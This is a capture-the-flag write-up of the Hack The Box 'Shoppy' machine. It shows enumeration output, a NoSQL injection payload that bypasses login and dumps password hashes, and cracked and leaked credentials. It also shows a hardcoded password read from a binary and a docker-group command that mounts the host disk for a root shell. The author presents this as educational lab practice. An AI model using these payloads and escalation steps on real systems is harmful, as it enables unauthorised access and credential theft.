5 minute read

Welcome to my write up for the easy box “Shoppy” from Hack the box, if you are interested in web app pentest, this box is definitely for you. Today I am going to show how I identify the nosql vulnerability in user login page and obtain the user creds for a foothold in the system. Then we will perform lateral movement by analysis the strings inside a binary that acts as a password manager and finally use the privileged user account to perform docker escape.

Enumeration

nmap scan result

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sun, 02 Oct 2022 20:05:03 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 3
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 3
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 5.4036e-05
|     go_gc_duration_seconds{quantile="0.25"} 5.4036e-05
|_    go_gc_dur

Port 80 Web server

Running Gobuster

/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 1074]              
/admin                (Status: 302) [Size: 28] [--> /login]   
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]   
/Login                (Status: 200) [Size: 1074]              
/js                   (Status: 301) [Size: 171] [--> /js/]    
/fonts                (Status: 301) [Size: 177] [--> /fonts/] 
/Admin                (Status: 302) [Size: 28] [--> /login]   
/exports              (Status: 301) [Size: 181] [--> /exports/]
/LogIn                (Status: 200) [Size: 1074]               
/LOGIN                (Status: 200) [Size: 1074] 

Login page is always worth taking a look

photo1

I tried capturing the login request with Burp Suite and try SQL injection with sqlmap, however I was not able to find any injection point.

How about noSQL? Again, it is always worth a shot to test it out since noSQL database is not uncommon out there.

I found really awesome resources about noSQL injection:

https://nullsweep.com/nosql-injection-cheatsheet/

Entering admin' || '1==1 into username field and we can bypass authentication and view the dashboard

photo2

The search bar definitely caught my attention on the first sight, it is highly possible that the search function is somehow returning the result of a noSQL query given that we already discovered noSQL injection from the login page.

Let’s try to use the payload admin' || '1==1 again to try to retreive all user information.

photo3

We were able to retreive all user password hash from the database!

[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]

Using a simple password cracking tool like hashcat or johntheripper (or just go to crackstation), we can crack the hash and obtain josh’s credential

josh: remembermethisway

Foothold

Mattermost

In the beginning we learn the domain name of our target through a standard nmap scan, it is always a great idea to try to look for other subdomain and maybe we can get something juice out of it.

Gobuster vhost brute force

┌──(kali㉿kali)-[~/HTB-Boxes/Shoppy]
└─$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://shoppy.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/10/05 04:54:16 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb (Status: 200) [Size: 3122]
                                                       
===============================================================
2022/10/05 04:54:47 Finished
===============================================================

Here we got another subdomain mattermost, add it to /etc/hosts and we will find a login page on entry.

We can use josh’s credential to login

photo4

inside the channel deploy machine, I found cred

photo5

Hey @josh,

For the deploy machine, you can create an account with these creds : username: jaeger password: Sh0ppyBest@pp! And deploy on it.

Login to SSH server

┌──(kali㉿kali)-[~/HTB-Boxes/Shoppy]
└─$ ssh jaeger@shoppy.htb   
jaeger@shoppy.htb's password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct  4 23:21:34 2022 from 10.10.16.21
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)

Lateral movement

ALWAYS check user privilege

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

We can try to figure out what type of file it is using the command file

jaeger@shoppy:~$ file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
jaeger@shoppy:~$ 

using the strings command or simply just use cat, we can read the strings inside the binary.

Inside we have this string Please enter your master password: SampleAccess Granted! Here is the cred!cat /home/deploy/creds.txt

photo6

Let’s try to enter Sample as the password

jaeger@shoppy:~$ sudo -u 'deploy' /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

We got the cred for user deploy!

User deploy belongs to group docker, in the mattermost channel, they mentioned that the deploy machine will be running docker.

jaeger@shoppy:~$ su deploy
Password: 
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Priv Esc

Since we belongs to user group docker, we can run docker with root privilege, here we are trying to run the image mounting the host disk and chroot on it

GTFO bins got your back

https://gtfobins.github.io/gtfobins/docker/

$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 8  bytes 736 (736.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Thank you for reading my post, I will try to post more Hack The Box write up in the future, stay tune!